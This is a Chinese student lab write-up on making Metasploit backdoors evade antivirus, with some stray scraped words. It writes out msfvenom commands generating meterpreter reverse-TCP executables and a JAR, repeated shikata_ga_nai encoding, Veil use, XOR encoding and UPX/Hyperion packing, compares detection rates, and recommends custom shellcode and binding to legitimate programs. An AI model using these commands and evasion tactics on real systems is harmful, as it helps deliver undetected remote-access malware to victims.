使用msf命令生成後門程序:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.154.151 LPORT=5310 -f exe > msf-CEncod1.exe
java
-e
選擇編碼器,-b
是payload中須要去除的字符,該命令中爲了使'\x00'不出如今shellcode中,由於shellcode以'\x00'爲結束符能夠看出來查出率有一半多,免殺效果不好python
嘗試利用msf的屢次編碼參數-i
來進行屢次編碼,提升免殺效果:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.154.151 LPORT=5310 -f exe > msf-CEncod2.exe
shell
能夠發現甚至掃描幾乎不變,甚至反而變多了,效果並很差。編程
嘗試生成別的類型的文件進行免殺操做windows
生成jar類型的後門:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.154.151 LPORT=5310 x> msf_JarEncode.jar
安全
掃描結果以下:網絡
在virscan中結果明顯比exe文件減小不少,可是在VirusTotal中差很少多線程
Veil-Evasion的安裝less
apt-get install evil-evation
利用Veil生成C語言免殺後門:tcp
use evasion
進入evil-evasion,命令list
能夠查看能編寫哪些種類的後門use 7
(7爲list中的對應序號)veil_CEncode.exe
能夠看出免殺效果沒有明顯提升,對比去年學長學姐的博客,效果明顯變差,推測應該是病毒庫更新的緣由。
本機實驗
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.154.151 LPORT=5310 -f c
進行了C語言的異或編碼,試圖讓他逃脫殺軟的掃描,驗證編碼是否正確:
效果比上面的工具彷佛好一點,但沒有明顯改善,簡單的異或編碼已經騙不過殺軟了,下回嘗試加密,若是成功再更新。
另外的真機回連
IP改變,從新生成shellcode:
生成可執行文件,發送給對方執行並回連,exploit等待:
對方執行文件,回連成功:
執行命令dir
確認鏈接成功:
騰訊安全管家掃描沒有掃出
對上面第一個半手工shellcode進行UPX加殼,減小文件體積 :
對半手工生成的shellcode加upx殼
掃描結果:
查出來的殺軟數目反而增多,應該是upx的特徵碼被錄入了病毒庫,下面再加一層加密殼驗證一下本身的見解
利用wine模擬Windows環境,運行hyperion.exe進行加殼
進行掃描:
被掃描出的結果更多,能夠驗證上面的想法,著名加殼工具只會增長被發現機率,建議本身加花指令或者改殼。
爲了可以嵌入彙編語言,選擇了C語言對shellcode進行處理,加密解密沒有現成的庫簡直要了命= =,因而賊心不死仍是想找個工具,因而安裝了據說很好用的pathon-evasion,可是不得不說安裝和evil-evasion同樣麻煩。
通過一系列複雜的異或與多線程等操做以後,生成了exe送去掃描:
能夠看見結果稍有好轉,可是沒有理想中那麼好,查看掃描結果發現,pathon自己特徵碼已經被殺軟鎖定了,甚至不須要掃描文件自己,直接能夠判定是惡意代碼,大概是曾經太好用了,可見不少殺毒軟件更新仍是可靠而且快的。
可是仍是有優勢的,以前生成的全部惡意軟件沒有可以逃過火絨的掃描,可是這款生成的軟件成功沒有被發現(*_phan.exe文件都沒有被掃出)
總的來講,國內主流殺軟病毒庫,就本次掃描結果來講360>火絨>騰訊,但我的使用感火絨>360=騰訊,因此最後仍是選擇了火絨,但願它病毒庫能更新的快一點吧。
Veil-Evasion安裝失敗
apt-get upgrade
操做,進行後成功率高了不少ping不通別人的真機
回連不成功
本次試驗掃描出來最少的樣品實際上是veil生成的一個python的回連腳本,可是因爲我沒有使用py2exe,並不能肯定生成exe可執行文件後是否不會被掃描,可是根據msf生成的Java的掃描結果,彷佛都比c語言要具備必定的優點。
簡陋的半手動shellcode生成可執行文件依然比過於大衆的免殺工具好用,例如:加upx的殼與veil的C語言後門,以及msf生成的源碼。
能夠大膽猜想一下,若是要作到真正的免殺,半手動的py/jar進行處理+部分小衆工具會有奇效,要是能本身生成shellcode或許更好,總而言之就是要改變特徵碼與哈希值。
若是要避免動態監測,綁定正常程序或者以正常程序爲模板或者生成惡意dll調用,會比單獨的惡意軟件好不少。
雖然火絨病毒庫不夠新,依然不能阻止我愛他的使用感。
不少想法想驗證,可是我來不及了,時間太少了,枯了。